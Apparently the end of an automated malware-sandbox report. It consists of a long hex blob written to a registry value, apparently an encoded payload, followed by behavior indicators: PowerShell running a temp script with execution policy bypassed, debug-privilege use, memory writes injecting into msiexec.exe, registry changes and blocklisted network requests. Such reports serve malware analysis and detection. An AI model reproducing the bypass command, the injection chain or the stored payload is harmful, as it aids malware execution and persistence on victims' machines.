ce70d820f32b0639332ad2b92cc9b79bb7600d9a111f7b47fad55cd7d80e2beaf688897e2602a6d18ecbafdd37eb95f3891f83b342ff4231b4d88f92173ff09c742731761e1385e024241aee97be44f70ae5bb64550acb8fcb24a6c96d306f72cf99d8493da23408629d96a49ab8beff5ba1e8ad7db4510697f41601bc9cb27d7d80169ec338dd69c241fd3b99681396d1c7f5e089a74b85a139270603a8f9c109933d31f6c9559fd44cf962810f7389e29c503c036ee049b8fcb47851e3e8424dc0f4e423d825fa28910d798b70399cf1777275c5de1c68547c9b2557d84cbf32f9e011bedcd48785455b24b57adf3baa267022a6618e672daad85699d308c01706b9f607be4226e6145da5c2c11a2c0f25692cc4c2c962bed85cd83edbd0f6189a26e328b6e2468e3fcacaaa6fd416e25cf0f56c0213579e1792fbc7f05b94c490c10900970cce0f4478f59437e14f9bea4cdf78a0159f25ca0fc9cc5f3b8157329df8ec1a0dee24b8a40d49729877cb3c164a4a2d07367e7148e9dd93bf4ce68d7fd8cba6f561003f7b5509199d6b93014cbe2905e260341c045bd7056ba9088a8b0396fcddef98448fd6d775d103a98f9c9eaf0086a4cdbe8886c624b9d41a1293b538146a94552d4193e900ebb9633dc33050f1ba7051faee5c4fb6b4a64b5ccc66a42ed335a4edbd6f3bc4ab6a0b23e0becd1e2efdedc70b9f94fc0bbe588cecf0cf495585c3b427a6ecbdffc811cdcc7388501676bbababd7ac7db1a938ffd35b0c65ed259791f202cba96a432d3158cf37d3dddf7e2da2bd2fc1dd79fe23609e1fb48b4d7d55f45175c5d9e2f2aba463e186529607d2a176ea6475eeea83b6a0b3fd22bdad76be3c2d583c3ffdb8247513970c9382544eaca422f2011af84517e6752558856aa978773d78cb48a2edded49aba389b557aaab41161a9c138e40d4b658fce90f05da1765684e82db715866bc526a2f63e7ceca00ba49e3e83a576e8117f2802d7aea13586b9cafcf0469a3d1f6e056cf9f8f1a27a4440956bdcf893dfa5cb8eea266f27fa885c77473add82e686f58df6d8584a06ff88b7b3f5af03d5d69625f5bfa53e85180823e6a91673231c45b5eb217cbf4e7af336824ead5afdd328b197d6d6fd593d1f6c34de72d02e49447aa7b611783b53a5651db5371af7bbdf54ccb9c1386d7ce46ce5ed9d1bd8cd8fc14c339db4ccd318bbd72d1e89ffab9bf1447838a8716d0fa462406612efc20e28f3675df5fc14c8514dde5db7b751e293858f3d2b1627000787c7795caf71ae5465e228e41637e96c3af98db8e20f8d5b7dd684f61a5a0214f09f093ba9ca3321034277fb6079776e295ffb053bf7884dd1a73357fc8735552bde5f0ee4c95a49792ba0516a5bb8bebec93ee6672eb97920dd9cb554b1c1d6adf58e44ac9cb17b14cb4bfa025c7d4d80f5c05fcd8b5c73b2459787db17aeafbe8ee7826857c74a1a1ee51d9ace46f4c27538577d58cf49798cd9f1391fc6cf21728f79b2358bffc9f8e0f782952fde273b156438dc88bbfdbbbc994688378022eca0f32e07981b2136cbb73346a8b394adcd1969aa7007e3c64261050149d944b93ce7d24029c5054ae43a569dc1b4e91ebbf2ea19d5910a3d850c7596694e5e88c047fded36d5b5ed9e04cc6fcf10f73c32840c44cd4f7fea76122dd5eecfe7717b546106a259004954620e3835d4033c100a8c7ae28c3641e122f6dd1eee1d842fe5d8ff76dad63fdea678b27026c89530a37f5a844f2f0d67b6ce391638bde5a1ea3126652318e6d803eb4e33c34849df6b21ed472904a73ee3d01bb1d9918f11a14805a1499fe2744369ac84a9b2d9ab16b5adecbd746d365392d6ca48bf746f73112216d5daeb66620451da381c1a3e5ddeb94f5e887b547c92341917d4364792dc8003876502a72e618c4865bbc09eb3ee3674033fd8cc51bec5cf1fd33df6f2685e5cdb257ec1bb7b0cbd49cbc94b4fac271b8780224701b246025c09820cad95c231d2536f91be6e082055e220295960a04306b359db7ff9adaf6108ae2efa37032c94b6786e6f1a03304347cef1f0d671f64b57a792154d84e6d6ee5f5cf9ff690ecac1ea4929b6161ad544486e4d0df01f79738b659749411aea031c68c1b603d34cd0fd0d216579d9446f105080fa59cabbffb736cf465ba0f9553f2770e07f826264a6f208c7d42ae0ef10099d97640494579fc4ee0e5c762934567e34059eb8226def417fd31de02bdf38dee9f4517c6c48688c98fbe624d21d8cd8e8d3596973e07d185d66acb8aefc6f2abbefb06578c619a3deb5110585e6da8d3593f682a9cdabe713cf257c9e6e5b1d7f60488281fb7100557082d215e97ef476aed27f426bc2181cf2da39063a1ad78ec2917deb719bb362d04cb5656858df89a9f8e230c47264b883ec1fdb61485595235d7a362f204bac4adc811a35388004ddd46c7ae9cedac6d08df8e9cd78b90db5fa3c65d6ca03ad9ff284bba4581e830857372d2da3bcfb59f7693a9cd858d3842cf61aa669e08fb00c47ea856639cf1e34f569d102336d2cdb796fa271a526d9b2f6f9fbf1401c679e9f7b509a391657a6746d5b43076269569e06c671edc5fba9055cc4d229f784d6376ea1dab79c595344c23905cde882afbe30473a75622383299c7b820d7eacb2704e999ba8e1a87fa17cadfea0d1e5befbd9d41c8ed82e29e5ce5164e532e30aa1b1c9ad796832f931ad3c5aa79417130e48f4a3aca08c3261c00b53a752f9e2c3d6592412a478abd24a1cca28a80439eb972b8cb31fa0a916fa1e02dae1be6311f17bba41aef7227462cd1340a70c8de8f0346c0ada345a1b70b3cd3f33d2b23ede5c58467caa84a3f1e4e764263270b15e0e2c1dc5ac675ef562a8a6ca6ce1fcdd70079088bc8f65479fd0656f71849a099938dd40650249eaae2feebc05b8efff7d9c83e160ee58f7997971a9a0342eec1443fc8f18830b1adef646de6e1583c96f4603f2a125f6234039b4aa006354f5c74b92649074e57a503afb3f0fb2c6dae6db6545ebf98173f2615b473ea0c977632c4e9c1bf7894aaaa135c35d65547161659648227bc0adb05c42a0f0375d7998e338a75a50c39df9fe78a88dd06c18e6d178ad29629488f8ced28a2ccba93f12cae1e68f5e1d4c687d9bcae47722ca7b70680c86db2363ec52f4e24b35f5f48615a9d1a74298de6902385592abecc1a9c47d21a506cc57604f5b0f21c23cc141d45c7e9cb1d15b2244b7279ea391a34f0044d73c9d2263133950f9435458e15f4d61383f7b89311ffaa474db92a50e4c0498981a1c76b648cbb7eacc5f4f4911c8d721e91c18b478babba24aa6c3dabde19245b1fb045f819b98757e796837c4c91167500201438878001ec35b30b079ef2d9dc89ebf8bfafe9f5f9f56f97e29962e9cd5985581aeb8b82ad9782efed66818e97a0e2dc17a4b1bff0ed651e5e6f266968719b8ec2f13e5d9709533bacfc44d792c009e344a24368972499ad5c17eea0aa25980582f40c592d0a78d1ac6e4be731cc974ac1f793f9874fde92653784da0568df9f0688dbc803ab3f08370a2b8d1741413be202a19ca4526f20c3c56a0d87a44567f362119c544fd6d63023a4750e6be754379600f860a2eb18c06b8e629a57bf310fa8394bce378e3af5aa10cf862d215855d04d5bdf02a90c6315d0df5aa3ba4208f1da667552a6d03cdb1269b686e071b6c03cb0bcbfb8c6f5a23e9ff4499b23d90bdd505eb12be5f699ebb302abc7c699f97d35a033326796b7cfa1d923465597e209e0f915a39cf9eea0b1b7df87a5169e96b2f6ce42e226054e1982af7351c7a7041e1d8dc8595e08b5526d4f06deeffa722607391f9acf1cedcd740ae87761ac5029beee19bcac471f35c795a093c0f29c4c3989e949bc7ba59dba3adadbea6775c2f3641d6d66fff3a92bd4809903498dfbdf39730faecf33a2481fb9b018e35689d30607ae3bc27765a2172ef48faf23f3898178167fd70db6b8d4fe2a4a422f401fd93be35e44f9d9a716f272377aa686d0eebfc7d33210754bf88cffdd86fa9608474a77a2638719fe04e54a1e4c976aa550d25370c31b0a7dcaccbc906e5caaa697e0da90e3856c5393ada9e2eb37a08b3fae86a2ddc077fd5afdff411af19f067f191580c97aa7bbd523f3865468aae757b153712b9c7a008ad0ff88eef9d9aa0900501e71839abb3ce8ad41b42a387fc1f6f1baca40ba46610ed9e74f30a5b3ec0287ab85a5e6c266d994c4ae2c78ff89c3dec8522d0b1d40490499c9e39289107e1ac1e948c9ae133c57599f41bc5f80df0e1f5afac6c404624ceb16efbce60b22489f594facdf78a06fe6e5d3abc32508918852959159ed61b1a57aecc4490310868debf80bebc45c7e9ef939e36d80df9827691b73e0e3d83631a0b513d3cd6b4020138941fa7cce91bac6b35fdc443f43f4cc6679b7806131d8d9ccd53af794f9e44625a325f27fa9d737dbfcf15cc4087b113366b8eccfbc5f046b52b9ebe188b02598a2e444d17bc105afb6dfca176594e44674c5fa033612683977897272c207df3f790658eadb10796f9e40bb97e7635ec3902955de51194427366426d3d5bc7dd9dd65e2db77810268126e295b76ba744b057e71adf02ea9b9c45034caa0e655790f0269ee08ca57715b5a02ffffb9fd0f60b5ecb2f6ebd8cbf4af655d463670feddea101188029eca2d1d4c9f5565e84ea3cc63ecef194b289d1668ef7788187c4c0cd65593a68ae72cd1bffbe6385e8c1378ee83aa43f7684175ab0382994da54c63919fcba63e91d0b7eec9fc62512829e46d77f610e7e8990448a2b74c958bfc86064d95e5a8335036cd1c83a82888f502a8a5930ae162bf24f9db3eb9e6b053e825fc807e6d73a58f433547cef7e5afe4e12cf8588e44f612167d3f21eefe821c80d1676f1c3bdf69c4fcfb27e94f09cd5d7963a68a766894e1c47f644128607c814a556432aa19ad415f8963ee9d381ba0c511bf1148668f056dd01eec5e9c51ccda83f7b6256d60696f526658508be734d665e964a229b9ea46ba017e3e3e85b86595cab02713d2e2e41344deeb00f2e7effd941fcf289455ed3f3cba8e614847abb3bc2299687cd7288d11e515f7038d987d5a46f3abd9808c2ff837d8df0a9c137d6dfa55aaf5951cfe260482536d0da3a9f5ddb5c563a8cf9f2a174212da206cc91871b9b99f16e981e4ebaad59f254fd694e5b628eb65c8032833ea92d957f81e033ee7f963102be2529e2082935832d3a619dc9919d038bb8b21efa9cd9cf6c475714e2deb3517f2f5de11623a487be85d1a31976488b57b91c246e567b290831782bf9f2064f12542d37886071ae290a0286ebe5a4fd793deea5a8391b3b5ee4d54dd930b924da5a44b3463f2be140b9a6516d16285916c3d9db7468eb35ea901a0db676cfb7d532e1cdb743b4c4252b447eb0babcb1bb51ed424b9a4bcd3f349ebdf8a9cc1ebb87f95ebcdad28a9a282f20918f5cef83525e0f924f8ad1595b269940d3a76aac48bcc1df6422f6b11f07c05d8d4cf6d1114b288796214c86e6d8ae847b7db1b0cf40fffea075fa8891e6f4b669aa7d0385c025e927a0a68d9a1a3e597ac3dadd900cfdf3752673be30f9d54f34085babff7886f4ca6f18d92d34bfd982f7a63c210d5ed7fe448c47a0ca717ab692e4e1c84e31632205ce7aa3dbe98c042424754c84ea9334db4ee4b53f5e10bd61fefac702798a1396df992cc2c9a5db27accd064136f32f3e92941fac98c8ed8b374ef8e305779c214aa0f0df2d482bc139de6df5dd66ab69d644b8ae4340329874f7af3dc8092531f169ba02570f393e9504e0f7c4994f3349d015163d4f7562205ba7864c194e6dc54b3c88005f3c779e04a68c3ffd69c4b15f512cff340ef6c50f91f0da8c5dd5d9ba1eece323e83cd70ea956d7fc8fd125c9b3c289e89c6e78e139055e13b2c62651159a420cd50c3f96c125ca40c22a94b487940327d13254a45d95f340dc8531977b9990db5a933d7a9b3a0e265b3312b71a27f4e13fcc68c2c92627806f8aefddcd6c6ded98004aa08fa09237347f4da0047f3d905254c51de594ea23cc0d1704cd917a4f625bf2f0162aa0cdcee32693ca52fa9996f800043c644fead1f95464fd1bf436bb3e1fcf83307f1b681ca34b1e15d7791e6f17e1cb52e4c6c37e6d6728f20ba5bb1f5ada9ce5a803e432a37a28b22f8c5256099097d77928f439ff222325e994e043c08dedddfccdb23cc7acad1c40a24f0e85ec5eaa750c24742ffdd35e465da547778dcb3ae20e581171cf5dd2821f84d50fa36e455506327d96f676096b321628a4ed1b0a335b835b9c04be221f0b04e52f73954c738a64eb484334ccf01ba47515d7ec9645eebc898e5a720df1ffa4cae6909f7a66d16515aff1e9d8cb3712dc75fda5cc6c91468e86f72ee572ee32308ed6066ac220a967f4c284d465d8b79188aa8f60855857310e91157c3dde535a18060d4491a0bef0c672004caea585641a165974aa1db03204fd443a79ae06364c5f66ab6c2a9ff2f945ca0b6b8761c335f014995ebbc1081a70f7200251eba79ddd07d41d89a92f3a879eeaf1cc8f8291b97069a3b00495922a481e06139c138d48d584e455b81da98b394b6e3e511dd6929ae2af390fdb22de03c00e899a3db0a461867344046da5e3e3b7298696deb74e99ccec375a6c2c510c1fe5dc61b364e4c3e3520b75cdbfabe02d85e089a854ea7e883628291b786e6b471fe4e9ced0fd9051cff73ac4d49752cf2dbc7b084edc69c0cf76d600cf080c7db62d49382c4d537bfda88639290d7cb321f584771e2f69443d355068dd88dee410f2c3a4424e31200953543c8f48330a05a9510f41066374a0f406469edd8b2eac4c85537d3c160adede589b24b8f0fe244160ca1995fbd6a7b11e897904cb22dcec23bed203ad1ab01327aa5c4615e3f42569f1c1e85bc715537e2d4cf906d5b6cf4a8f17b011ba557327ca74e21aeae99484307b89ff0f0d7888213c1e0b2052b2f16036beb061ba6cadf1dbf6506a04a6167b2d0281092d6e113971f8a124c689df4b6bbe845b48bd416f03836de2484317e1aca8adc15e8c2459212ec186c04024facee4c852ea9c5feffd24793dcff866d0c52ed2b61459bf49f267c0b8a5b19245187095b92b79e4d35873179e849b7125ff6a635da40219def43bb9c5719336030734381ca69cf6cd94cfd9436732bb1abffcb9548d0abb82110de6c9e5178ac50b421b43ec958192fa66bdb023daf26b6527d2745bb93e022679426d87dbc5c7287793437981a4d8ef218c5e224217f71e7dc3198d9db6030c9635d75435b69806a9fd8e40ccaf43bc5343366ebfb4f58274c58abfd4f1c4b3d0888eb4cd3e3be14aff20b41862956564c2546b8b447f52b435e3c2ff1825bc0b9d4315806b95f60038eac844ee97afa3894fd77ebc9e88120f8cb185af03eea4be9baa92519e57d57184142e4bece37f0872458e6825d24be964c4fe966c4299c2b76e287c0ad3edcff4fd1d9a249de0bf49f4b06a6a1e8e5700ae05869e4e71443bae198352ae75d1b4071b6d35b90e8825db73a0ce0d206fd0efc0be03c5b02f2783552f81ac2ad6cbf50883641a967e1b67173bc0fa2ac1ae83d85aeeaea9dc6ed9b7cd27854c5354fa3fe28fd3715e2836cf41695b815524d668f04e0dd7707595c61bb4a4173fee5443ff1d4754365872bee3ebcd2e79161853ee44e61f21401f683894ff6dd8c794d230bc248bb0ab195618a1d80236e8abce15bdc864c6a7ec1519407bd8eb98fe65d6eda2001e386dd24569e1e66a94a15cee508cfa69604eae9859358fb4090 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\VersionIndependentProgID\100E = 52535130272144664f574d437c792d7d2c753229772f784226733547696a68761b5e2a6762232b254a6d603d58465b546f5f706b503a745a364033283138616d6871766e637839367435376a6f626b337a6470347372693065667932743f3a317661554c3d2953475d5659526b4f3642676a65242f4175715c454b5450346e4851622a217d304e384d432b7a3c6f2c772363265f6d3e33253b647b7c5e66723537466970286c735758784a795b227e4927684440322e5a60 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ msiexec.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3668 msiexec.exe 3668 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3840 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3840 wrote to memory of 3668 3840 powershell.exe 81 PID 3840 wrote to memory of 3668 3840 powershell.exe 81
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1236.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:3668
-